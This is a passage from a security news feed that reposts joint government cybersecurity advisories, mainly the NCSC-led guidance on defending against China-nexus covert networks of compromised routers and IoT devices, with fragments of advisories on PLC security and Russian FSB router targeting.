<li>CISA: <a href="https://www.cisa.gov/topics/cyber-threats-and-advisories/advanced-persistent-threats/iran" title="Iran Cyber Threat Overview and Advisories">Iran Threat Overview and Advisories</a></li>
<li>FBI: <a href="https://www.fbi.gov/investigate/counterintelligence/the-iran-threat" target="_blank" title="The Iran Threat">The Iran Threat</a> and <a href="https://www.fbi.gov/investigate/cyber/cyber-threat-overview-iran" target="_blank" title="Cyber Threat Overview: Iran">Cyber Threat Overview: Iran</a></li>
<li>CISA, MITRE: <a href="https://www.cisa.gov/news-events/news/best-practices-mitre-attckr-mapping" title="Best Practices for MITRE ATT&amp;CK Mapping">Best Practices for MITRE ATT&amp;CK Mapping</a></li>
<li>CISA: <a href="https://github.com/cisagov/Decider/" title="Decider Tool">Decider Tool</a></li>
<li>CISA: <a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0" title="Cross-Sector Cybersecurity Performance Goals 2.0">Cross-Sector Cybersecurity Performance Goals 2.0</a></li>
<li>CISA: <a href="https://www.cisa.gov/topics/cyber-threats-and-advisories/cyber-hygiene-services" title="No-Cost Cybersecurity Services and Tools">No-Cost Cybersecurity Services and Tools</a></li>
<li>CISA: <a href="https://www.cisa.gov/resources-tools/resources/secure-demand-priority-considerations-operational-technology-owners-and-operators-when-selecting" title="Secure by Demand: Priority Considerations for Operational Technology Owners and Operators when Selecting Digital Products">Secure by Demand: Priority Considerations for OT Owners and Operators when Selecting Digital Products</a></li>
<li>NSA, CISA: <a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-278a" title="NSA and CISA Red and Blue Teams Share Top Ten Cybersecurity Misconfigurations">NSA and CISA Red and Blue Teams Share Top Ten Cybersecurity Misconfigurations</a></li>
<li>CISA: <a href="https://www.cisa.gov/securebydesign" title="Secure by Design">Secure by Design</a></li>
<li>FBI, CISA: <a href="https://www.ic3.gov/CSA/2025/250506.pdf" target="_blank" title="Primary Mitigations to Reduce Cyber Threats to Operational Technology">Primary Mitigations to Reduce Cyber Threats to Operational Technology</a></li>
<li>United Kingdom National Cyber Security Centre: <a href="https://www.ic3.gov/CSA/2026/260114.pdf" target="_blank" title="Secure Connectivity Principles for Operational Technology (OT)">Secure connectivity principles for operational technology</a></li>
</ul>
<h2><a class="ck-anchor"><strong>Contact Information</strong></a></h2>
<p>U.S. organizations are encouraged to report suspicious or criminal activity related to information in this advisory to CISA, the FBI, and/or NSA:</p>
<ul type="square">
<li>Contact CISA via CISA’s 24/7 Operations Center at <a href="mailto:contact@cisa.dhs.gov">contact@cisa.dhs.gov</a> or 1-844-Say-CISA (1-844-729-2472). File a claim with FBI’s <a href="https://ic3.gov/" target="_blank" title="Internet Crime Complaint Center (IC3)">Internet Crime Complaint Center (IC3)</a> or contact your local <a href="https://www.fbi.gov/contact-us/field-offices" target="_blank" title="FBI field office">FBI field office</a>. When available, please include the following information regarding the incident: 
<ul>
<li>Date, time, and location of the incident;</li>
<li>Type of activity;</li>
<li>Number of people affected;</li>
<li>Type of equipment used for the activity; and</li>
<li>Name of the submitting company or organization, and a designated point of contact.</li>
</ul>
</li>
<li>For NSA cybersecurity guidance inquiries, contact <a href="mailto:CybersecurityReports@nsa.gov" title="CybersecurityReports@nsa.gov">CybersecurityReports@nsa.gov</a>.</li>
<li>Entities required to report incidents to DOE should follow established reporting requirements, as appropriate. For other energy sector inquiries, contact <a href="mailto:EnergySRMA@hq.doe.gov" title="EnergySRMA@hq.doe.gov">EnergySRMA@hq.doe.gov</a>.</li>
<li>Contact the Rockwell Automation PSIRT for questions regarding their guidance or for reporting cyber incidents related to Rockwell Automation products at <a href="mailto:PSIRT@rockwellautomation.com" title="PSIRT@rockwellautomation.com">PSIRT@rockwellautomation.com</a>.</li>
<li>Contact the Schneider Electric CPCERT at <a href="mailto:cpcert@se.com">cpcert@se.com</a> for questions regarding this guidance, or to report cyber incidents related to Schneider Electric products.</li>
<li>Contact Siemens ProductCERT for up-to-date information about the security of Siemens products or to report cybersecurity vulnerabilities at <a href="mailto:productcert@siemens.com">productcert@siemens.com</a>. For support with increasing the security of installed Siemens PLCs, contact Siemens Industrial Cybersecurity Services at <a href="mailto:services.automation@siemens.com">services.automation@siemens.com</a>. See <a href="https://www.siemens.com/en-us/content/cert-services/" target="_blank" title="Siemens ProductCERT and Siemens CERT">Siemens ProductCERT and Siemens CERT</a> for more information.</li>
</ul>
<h2><strong>Disclaimer</strong></h2>
<p>The information in this report is being provided “as is” for informational purposes only. CISA and the authoring agencies do not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by CISA and the authoring agencies.</p>
<h2><strong>Version History</strong></h2>
<p><strong>April 7, 2026</strong>: Initial version.</p>
<p><strong>July 22, 2026</strong>: Update includes new guidance on detecting malicious activity, expanded scope of observed targeting, and best practices for secure PLCs deployment.</p>
<h2><strong>Notes</strong></h2>
<p><a class="ck-anchor"></a><sup>1</sup>Project file refers to the software file that contains ladder logic and configuration settings. On Rockwell Automation devices, it is referred to as an .ACD file.</p>
<p><a class="ck-anchor"></a><sup>2 </sup>See <a href="https://literature.rockwellautomation.com/idc/groups/literature/documents/um/1769-um021_-en-p.pdf" target="_blank" title="CompactLogix 5370 Controllers">CompactLogix 5370 Controllers</a> (Chapter 5: “Select the Operating Mode of the Controller”) for more information on functions available for the switch.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Defending Against China-Nexus Covert Networks of Compromised Devices]]></title>
<description><![CDATA[Defending against china-nexus covert networks of compromised devices
executive summary
Defending against China-nexus covert networks of compromised devices 
Explaining the widespread shift in tactics, techniques and procedures (TTPs) towards networks of compromised infrastructure, and how to defe...]]></description>
<link>https://tsecurity.de/de/3693378/sicherheitsluecken/defending-against-china-nexus-covert-networks-of-compromised-devices/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693378/sicherheitsluecken/defending-against-china-nexus-covert-networks-of-compromised-devices/</guid>
<pubDate>Sat, 25 Jul 2026 09:10:14 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="SCXW131754345 BCX8">
<div class="OutlineElement Ltr SCXW131754345 BCX8">
<h2><a class="c-button c-button--on-dark" href="https://urldefense.us/v3/__https://www.ncsc.gov.uk/news/defending-against-china-nexus-covert-networks-of-compromised-devices__;!!BClRuOV5cvtbuNI!Cvg8stIR3jHWVZgHhCVvEwbwDXxXIRSprOQ9JtY2YKwxUIGVovuDAu7QrFsfw3sfAVd8-gxEMIpgldwlY-jTD7G0%24">Defending against china-nexus covert networks of compromised devices</a></h2>
<h2><a class="c-button c-button--on-dark" href="https://urldefense.us/v3/__https://www.ncsc.gov.uk/news/executive-summary-defending-against-china-nexus-covert-networks-of-compromised-devices__;!!BClRuOV5cvtbuNI!Cvg8stIR3jHWVZgHhCVvEwbwDXxXIRSprOQ9JtY2YKwxUIGVovuDAu7QrFsfw3sfAVd8-gxEMIpgldwlYzP90Ign%24">executive summary</a></h2>
<h2><strong>Defending against China-nexus covert networks of compromised devices </strong></h2>
<p>Explaining the widespread shift in tactics, techniques and procedures (TTPs) towards networks of compromised infrastructure, and how to defend against it </p>
<h3><strong>Summary</strong></h3>
<p>With support from the UK <a href="https://www.ncsc.gov.uk/information/cyber-league" target="_blank"><u>Cyber League</u></a>, this advisory has been jointly released by the National Cyber Security Centre (NCSC-UK) and international partners: </p>
<ul>
<li>Australian Signals Directorate’s (ASD’s) Australian Cyber Security Centre (ACSC)</li>
<li>Communications Security Establishment Canada’s (CSE’s) Canadian Centre for Cyber Security (Cyber Centre)</li>
<li>Germany Federal Office for the Protection of the Constitution -   Bundesamt für Verfassungsschutz (BfV)</li>
<li>Germany Federal Intelligence Service – Bundesnachrichtendienst (BND)</li>
<li>Germany Federal Office for Information Security - Bundesamt für Sicherheit in der Informationstechnik (BSI)</li>
<li>Japan National Cybersecurity Office (NCO) - 国家サイバー統括室</li>
<li>Netherlands General Intelligence and Security Service - Algemene Inlichtingen- en Veiligheidsdienst (AIVD)</li>
<li>Netherlands Defence Intelligence and Security Service - Militaire Inlichtingen- en Veiligheidsdienst (MIVD)</li>
<li>New Zealand National Cyber Security Centre (NCSC-NZ)</li>
<li>Spain National Cryptologic Centre – Centro Criptológico Nacional (CCN)</li>
<li>Sweden National Cyber Security Centre - Nationellt cybersäkerhetscenter (NCSC-SE)</li>
<li>United States Cybersecurity and Infrastructure Security Agency (CISA)</li>
<li>United States Department of Defense Cyber Crime Center (DC3)</li>
<li>United States Federal Bureau of Investigation (FBI)</li>
<li>United States National Security Agency (NSA) </li>
</ul>
<p>Its purpose is to provide network defenders with the tools needed to defend against China-nexus cyber actors and their tactic of using large scale networks of compromised devices (covert networks) to route their cyber activity. </p>
<h3><strong>Introduction  </strong></h3>
<p>Over the past few years there has been a major shift in the tactics, techniques and procedures (TTPs) used by China-nexus cyber actors, moving away from the use of individually procured infrastructure, and towards the use of externally provisioned, large-scale networks of compromised devices. </p>
<div class="OutlineElement Ltr SCXW149482171 BCX8">
<p>The NCSC believes that the majority of China-nexus threat actors are using these networks (hereafter “covert networks”), that multiple covert networks have been created and are being constantly updated, and that a single covert network could be being used by multiple actors. These networks are mainly made up of compromised Small Office Home Office (SOHO) routers, as well as Internet of Things (IoT) and smart devices. </p>
</div>
<div class="OutlineElement Ltr SCXW149482171 BCX8">
<p>Anyone who is a target of China-nexus cyber actors may be impacted by the use of covert networks. They have been <a href="https://www.ncsc.gov.uk/news/ncsc-and-partners-issue-warning-about-state-sponsored-cyber-attackers-hiding-on-critical-infrastructure-networks" target="_blank"><u>used by Chinese state-sponsored actors Volt Typhoon</u></a> to pre-position offensive cyber capabilities on critical national infrastructure. The group <a href="https://www.ncsc.gov.uk/news/ncsc-and-partners-issue-advice-to-counter-china-linked-campaign-targeting-thousands-of-devices" target="_blank"><u>Flax Typhoon used a different covert network</u></a> of compromised infrastructure to conduct cyber espionage. </p>
</div>
<div class="OutlineElement Ltr SCXW149482171 BCX8">
<p>The use of covert networks of compromised devices - also known as botnets - to facilitate malicious cyber activity is not new, but China-nexus cyber actors are now using them strategically, and at scale.  </p>
</div>
<div class="OutlineElement Ltr SCXW149482171 BCX8">
<p>This advisory describes the typical makeup of a covert network and what they are being used for. It also includes protective advice for organizations being targeted by cyber activity using a covert network as an access vector.</p>
<h3><strong>Covert Networks </strong></h3>
<p>Covert networks are used to connect across the internet in a low-cost, low-risk, deniable way, disguising the origin and attribution of malicious activity. Actors have been observed using them for each phase of their Cyber Kill Chains, from performing scans as part of reconnaissance, to the delivery of malware, communicating with said malware, and exfiltrating stolen data from a victim. They can also be used for general deniable internet browsing, allowing threat actors to research exploitation techniques, new TTPs, and their victims without attribution. Some covert networks are also used by legitimate customers to browse the internet, making it challenging to attribute malicious activity. </p>
<div class="OutlineElement Ltr SCXW53561783 BCX8">
<p>There is evidence that covert networks used by China-nexus actors are created and maintained by Chinese information security companies. A network known to network defenders as Raptor Train, which in 2024 infected more than 200,000 devices worldwide, was controlled and managed by the Chinese company, Integrity Technology Group. This company was also <a href="https://www.justice.gov/archives/opa/pr/court-authorized-operation-disrupts-worldwide-botnet-used-peoples-republic-china-state" target="_blank"><u>assessed by the FBI</u></a> to be responsible for the computer intrusion activities attributed to China-based hackers known as Flax Typhoon. </p>
</div>
<div class="OutlineElement Ltr SCXW53561783 BCX8">
<blockquote>
<p><strong>Botnet operations represent a significant threat to the UK by exploiting vulnerabilities in everyday internet-connected devices with the potential to carry out large-scale cyber attacks – NCSC Director of Operations, Paul Chichester </strong></p>
</blockquote>
</div>
<div class="OutlineElement Ltr SCXW53561783 BCX8">
<p>Covert networks mostly consist of compromised SOHO routers, but they also pull in any vulnerable device they can exploit at scale. Raptor Train was made up of thousands of SOHO routers and IoT devices, such as web cameras and video recorders, as well as firewalls and Network Attached Storage (NAS) devices. The KV Botnet used by Volt Typhoon <a href="https://www.justice.gov/archives/opa/pr/us-government-disrupts-botnet-peoples-republic-china-used-conceal-hacking-critical" target="_blank"><u>was mainly made up of vulnerable Cisco and NetGear routers</u></a>. The edge devices were vulnerable because they were “end of life” – out of date and no longer receiving updates or security patches by their manufacturers. </p>
</div>
<div class="OutlineElement Ltr SCXW53561783 BCX8">
<p>The cyber security industry has been aware of examples of these networks for some time and has publicly reported on the widespread scale of the threat and its implications. Mandiant Intelligence produced a <a href="https://cloud.google.com/blog/topics/threat-intelligence/china-nexus-espionage-orb-networks" target="_blank"><u>public blog in May 2024</u></a> talking about covert networks in which they highlighted a key issue for defenders – indicator of compromise (IOC) Extinction. If a particular threat group could now come from one of many covert networks, each with potentially hundreds of thousands of endpoints, and each used by multiple threat actors, old network defense paradigms of static malicious IP block lists will be less effective. This is compounded by the dynamic nature of these networks where new nodes will be added as old devices are patched or removed from use. </p>
<h3><strong>Typical Network Topology</strong></h3>
<p>The number of covert networks used by China-nexus cyber actors is large, with new networks regularly developed and deployed. The existing covert networks change too, either because of defensive or legal action, or simply as a result of software updates and new exploits being used to target different technologies for incorporation into the network. </p>
<div class="OutlineElement Ltr SCXW21942648 BCX8">
<p>Because of this, a description of all known covert networks in detail, including how they are constructed and how they communicate, would immediately be out of date – and for most network defenders would not be practically useful. </p>
</div>
<div class="OutlineElement Ltr SCXW21942648 BCX8">
<p>However, most covert networks of compromised devices use the same basic set up. Understanding this generalized structure can aid researchers and defenders by helping them to understand which part of a network they may have found, and how to defend against it. </p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-04/A%20diagram%20illustrating%20the%20basic%20setup%20of%20a%20covert%20network..png?itok=3Bfm4nKj" width="1024" height="877" alt="A diagram illustrating the basic setup of a covert network.">



</div>
      <figcaption class="c-figure__caption">A diagram illustrating the basic setup of a covert network.</figcaption>
  </figure>
<div class="OutlineElement Ltr SCXW75515976 BCX8">
<p>The diagram above illustrates the basic setup of a covert network, where typically an actor will connect to the network via an on-ramp or entry node. Their traffic will be forwarded through multiple compromised devices, used as traversal nodes, before exiting the network from an exit node, usually in the same geographic region as the target. </p>
<h3><strong>Protective Advice </strong></h3>
<p>Defending from attackers using covert networks is not straightforward, and defensive tactics will be different based on the levels of resource and the nature of the target organization. General advice for good cyber security practice should be followed, and some key messages can be found in the appendix of this advisory.  </p>
</div>
<div class="OutlineElement Ltr SCXW75515976 BCX8">
<p>The following advice is specifically tailored to steps which can be taken to combat the risk of attacks coming from large, dynamic networks of compromised devices. </p>
</div>
<div class="OutlineElement Ltr SCXW75515976 BCX8">
<p>Further guidance for all organizations facing cyber security threats is available on the NCSC website. </p>
<p><em>This guidance should be considered alongside all applicable laws and regulations of the UK and co-sealing countries relating to the security of networks and data. It will be each organization’s responsibility to ensure compliance with any such laws and regulations. Organizations should note that following the recommended actions set out below will not remove all risks.</em></p>
<h4><strong>All organizations</strong></h4>
<div class="OutlineElement Ltr SCXW75515976 BCX8">
<p>The NCSC recommends the following steps for all affected organizations to either take themselves, or ask their managed service and/or security providers to investigate for them: </p>
<ul>
<li>Map and understand network edge devices, developing a clear understanding of organizational assets and what should be connecting to them.</li>
<li>Baseline normal connections, especially to corporate virtual private networks (VPNs) or other similar services.
<ul>
<li>Would you expect connections from consumer broadband ranges?</li>
</ul>
</li>
<li>Leverage available dynamic threat feeds which include covert network infrastructure.</li>
<li>Implement multifactor authentication for remote connections.</li>
</ul>
<p>Smaller organizations should consider creating and actioning a <a href="https://cybertoolkit.service.ncsc.gov.uk/" target="_blank"><u>free NCSC Cyber Action Toolkit</u></a>. </p>
<h4><strong>Larger or more at-risk organizations</strong></h4>
<div class="SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Some more comprehensive measures may be appropriate if the risk to an organization is high enough, to be conducted either in-house or through a security provider:  </p>
<ul>
<li>Apply IP address allow lists rather than deny lists for connections to corporate VPNs for remote workers.</li>
<li>Use geographic allow lists or profile incoming connections based on operating system, time zones, and/or organization specific system configuration settings.</li>
<li>Implement zero trust policies for connections.</li>
<li>Enforce machine certificates for Secure Sockets Layer (SSL) connections.</li>
<li>Reduce the internet-facing presence of the IT estate.</li>
<li>Investigate machine learning techniques to profile normal network edge activity to detect and block anomalies. </li>
</ul>
<p><a href="https://www.ncsc.gov.uk/cyberessentials/overview" target="_blank"><u>The NCSC's Cyber Essentials</u></a> can help protect organizations of all sizes. </p>
<h4><strong>Largest or most at-risk organizations</strong> </h4>
<p>If Advanced Persistent Threat (APT) tracking is part of an organization’s in-house capability, or if it is part of the service provided by a security vendor, consider tracking China-nexus covert networks as APTs in their own right.</p>
<ul>
<li>Active hunting – look for connections from IP addresses likely to be part of a covert network of compromised devices, for instance those hosting SOHO routers or IoT devices.</li>
<li>Track and map covert networks reported by industry or government by looking at banners and certificates.</li>
<li>Use threat reporting and threat feeds to create and implement dynamic blocklists and create alert rules to detect incoming threats.</li>
<li>Consider using NetFlow feeds to look upstream and map covert networks to find new nodes. </li>
</ul>
<p>The <a href="https://www.ncsc.gov.uk/collection/cyber-assessment-framework" target="_blank"><u>NCSC Cyber Assessment Framework</u></a> provides guidance for organizations under the highest levels of threat, including those operating essential services, in sectors such as energy, healthcare, transport, digital infrastructure and government.  </p>
<h3><strong>MITRE ATT&amp;CK® </strong></h3>
<p>This advisory has been compiled with respect to the MITRE ATT&amp;CK® framework, a globally accessible knowledge base of adversary tactics and techniques based on real-world observations. </p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p class="text-align-justify"><strong>Tactic </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p class="text-align-justify"><strong>ID </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p class="text-align-justify"><strong>Technique </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p class="text-align-justify"><strong>Procedure </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p><strong>Resource Development </strong></p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p><a href="https://attack.mitre.org/versions/v18/techniques/T1584/005/" target="_blank"><u>T1584.005</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Compromise Infrastructure: Botnet </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Botnets are used as core components of covert networks </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p><strong>Resource Development </strong></p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p><a href="https://attack.mitre.org/versions/v18/techniques/T1584/008/" target="_blank"><u>T1584.008</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Compromise Infrastructure: Network Devices </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Devices are compromised and added to botnets </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p><strong>Resource Development </strong></p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p><a href="https://attack.mitre.org/versions/v18/techniques/T1583/003/" target="_blank"><u>T1583.003</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Acquire Infrastructure: Virtual Private Server </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Virtual private servers (VPS) are used in covert networks, typically as on-ramps </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p><strong>Command and Control </strong></p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p><a href="https://attack.mitre.org/versions/v18/techniques/T1090/003/" target="_blank"><u>T1090.003</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Proxy: Multi-hop Proxy </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Used by China-nexus cyber actors to route traffic </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<h3> <strong>Appendix: Cyber Security Best Practices </strong></h3>
<p>In addition to the protective advice outlined in this advisory, a number of cyber security best practices will also be useful in defending against the activity described in this advisory. </p>
<ul>
<li><strong>Protect your devices and networks by keeping them up to date</strong>: use the latest supported versions, apply security updates promptly, use antivirus and scan regularly to guard against known malware threats. See NCSC Guidance: <a href="https://www.ncsc.gov.uk/collection/device-security-guidance/policies-and-settings/antivirus-and-other-security-software" target="_blank"><u>https://www.ncsc.gov.uk/collection/device-security-guidance/policies-and-settings/antivirus-and-other-security-software</u></a></li>
<li><strong>Prevent and detect lateral movement in your organization’s networks</strong>. See NCSC Guidance: <a href="https://www.ncsc.gov.uk/guidance/preventing-lateral-movement" target="_blank"><u>https://www.ncsc.gov.uk/guidance/preventing-lateral-movement</u></a></li>
<li><strong>Implement architectural controls for network segregation</strong>. See NCSC Guidance: <a href="https://www.ncsc.gov.uk/guidance/10-steps-network-security" target="_blank"><u>https://www.ncsc.gov.uk/guidance/10-steps-network-security</u></a></li>
<li><strong>Set up a security monitoring</strong> <strong>capability</strong> so you are collecting the data that will be needed to analyze network intrusions. See NCSC Guidance: <a href="https://www.ncsc.gov.uk/guidance/introduction-logging-security-purposes" target="_blank"><u>https://www.ncsc.gov.uk/guidance/introduction-logging-security-purposes</u></a> and <a href="https://www.ncsc.gov.uk/information/logging-made-easy" target="_blank"><u>https://www.ncsc.gov.uk/information/logging-made-easy</u></a></li>
<li><strong>Use modern systems and software.</strong> These have better security built-in. If you cannot move off out-of-date platforms and applications straight away, there are short term steps you can take to improve your position. See NCSC Guidance:  <a href="https://www.ncsc.gov.uk/collection/mobile-device-guidance/managing-the-risks-from-obsolete-products" target="_blank"><u>https://www.ncsc.gov.uk/collection/mobile-device-guidance/managing-the-risks-from-obsolete-products</u></a></li>
<li><strong>Restrict intruders' ability to move freely around your systems and networks</strong>. Pay particular attention to potentially vulnerable entry points such as third-party systems with onward access to your core network. During an incident, disable remote access from third-party systems until you are sure they are clean. See NCSC Guidance: <a href="https://www.ncsc.gov.uk/guidance/preventing-lateral-movement" target="_blank"><u>https://www.ncsc.gov.uk/guidance/preventing-lateral-movement</u></a> and <a href="https://www.ncsc.gov.uk/guidance/assessing-supply-chain-security" target="_blank"><u>https://www.ncsc.gov.uk/guidance/assessing-supply-chain-security</u></a><u>.</u></li>
<li><strong>Deploy a host-based intrusion detection system</strong>. A variety of products are available, free and paid-for, to suit different needs and budgets.</li>
<li><strong>Further information</strong>: Invest in preventing malware-based attacks across various scenarios.  See NCSC Guidance: <a href="https://www.ncsc.gov.uk/guidance/mitigating-malware-and-ransomware-attacks" target="_blank"><u>https://www.ncsc.gov.uk/guidance/mitigating-malware-and-ransomware-attacks</u></a> </li>
</ul>
<h4><strong>Disclaimer </strong> </h4>
<p>This report draws on information derived from NCSC and industry sources. Any NCSC findings and recommendations made have not been provided with the intention of avoiding all risks and following the recommendations will not remove all such risk. Ownership of information risks remains with the relevant system owner at all times. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by co-sealers. UK readers should refer to the NCSC website for information about <a href="https://www.ncsc.gov.uk/section/products-services/assured-services" target="_blank"><u>NCSC assured services</u></a>. </p>
</div>
</div>
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>This information is exempt under the Freedom of Information Act 2000 (FOIA) and may be exempt under other UK information legislation.  </p>
</div>
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Refer any FOIA queries to <a href="mailto:ncscinfoleg@ncsc.gov.uk" target="_blank"><u>ncscinfoleg@ncsc.gov.uk</u></a>.  </p>
</div>
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>All material is UK Crown Copyright © </p>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Improve Router Hygiene to Protect Against Russian State-Sponsored Targeting]]></title>
<description><![CDATA[Russian Government-Sponsored Activity Targets Poorly Configured and Vulnerable Devices Across Critical Sectors
Executive summary
Russian Federal Security Service (FSB) Center 16 cyber actors continue to exploit poorly configured and vulnerable networking devices worldwide, opportunistically compr...]]></description>
<link>https://tsecurity.de/de/3693346/sicherheitsluecken/improve-router-hygiene-to-protect-against-russian-state-sponsored-targeting/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693346/sicherheitsluecken/improve-router-hygiene-to-protect-against-russian-state-sponsored-targeting/</guid>
<pubDate>Sat, 25 Jul 2026 08:51:21 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Russian Government-Sponsored Activity Targets Poorly Configured and Vulnerable Devices Across Critical Sectors</p>
<h2><strong>Executive summary</strong></h2>
<p>Russian Federal Security Service (FSB) Center 16 cyber actors continue to exploit poorly configured and vulnerable networking devices worldwide, opportunistically compromising multiple critical infrastructure sector networks. This joint Cybersecurity Advisory (CSA) builds on FBI’s <a href="https://www.ic3.gov/PSA/2025/PSA250820" target="_blank">Russian Government Cyber Actors Targeting Networking Devices, Critical Infrastructure</a> Public Service Announcement of the decade-plus FSB Center 16 cyber activity by providing additional tactics, techniques, and procedures (TTPs) to enable defenders to more fully understand and counter the threat. [<a href="https://www.cisa.gov/#Work1">1</a>] </p>
<p>This CSA is being released by the following authoring and co-sealing agencies: </p>
<ul type="square">
<li>United States National Security Agency (NSA)</li>
<li>United States Cybersecurity and Infrastructure Security Agency (CISA)</li>
<li>United States Federal Bureau of Investigation (FBI)</li>
<li>United States Department of Defense Cyber Crime Center (DC3)</li>
<li>Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC)</li>
<li>Communications Security Establishment Canada’s (CSE’s) Canadian Centre for Cyber Security (Cyber Centre)</li>
<li>New Zealand National Cyber Security Centre (NCSC-NZ)</li>
<li>United Kingdom National Cyber Security Centre (NCSC-UK)</li>
<li>Czech Republic National Cyber and Information Security Agency (NÚKIB)<a href="https://www.cisa.gov/#Foot1"><sup>1</sup></a> </li>
<li>Danish Defence Intelligence Service (DDIS)<a href="https://www.cisa.gov/#Foot2"><sup>2 </sup></a></li>
<li>Estonian Foreign Intelligence Service (EFIS)<a href="https://www.cisa.gov/#Foot3"><sup>3</sup></a> </li>
<li>Estonian Information System Authority (RIA)<a href="https://www.cisa.gov/#Foot4"><sup>4</sup></a></li>
<li>Finnish Defence Intelligence (FDI)<a href="https://www.cisa.gov/#Foot5"><sup>5</sup></a></li>
<li>Finnish Security and Intelligence Service (SUPO)<a href="https://www.cisa.gov/#Foot6"><sup>6</sup></a></li>
<li>French National Cybersecurity Agency (ANSSI)<a href="https://www.cisa.gov/#Foot7"><sup>7</sup></a></li>
<li>Italian External Intelligence and Security Agency (AISE)<a href="https://www.cisa.gov/#Foot8"><sup>8 </sup></a></li>
<li>Italian Internal Intelligence and Security Agency (AISI)<a href="https://www.cisa.gov/#Foot9"><sup>9</sup></a></li>
<li>The Military Counterintelligence Service of Poland (SKW)<a href="https://www.cisa.gov/#Foot10"><sup>10 </sup></a></li>
<li>Sweden National Cyber Security Centre (NCSC-SE)<a href="https://www.cisa.gov/#Foot11"><sup>11 </sup></a></li>
</ul>
<p>The authoring and co-sealing agencies strongly urge device owners and network defenders to take mitigation and remediation actions against Russian government-sponsored exploitation of vulnerable routers.</p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/Figure%201%20FSB%20Center%2016%20activity%20and%20recommended%20mitigation%20actions.png?itok=oYxdyna4" width="1024" height="576" alt="Adversary Techniques and corresponding Mitigation Actions as described in the Technical details and Mitigation actions sections.">



</div>
      <figcaption class="c-figure__caption">Figure 1: FSB Center 16 activity and recommended mitigation actions</figcaption>
  </figure>
<p>Download the PDF version of this report:</p>
<ul>
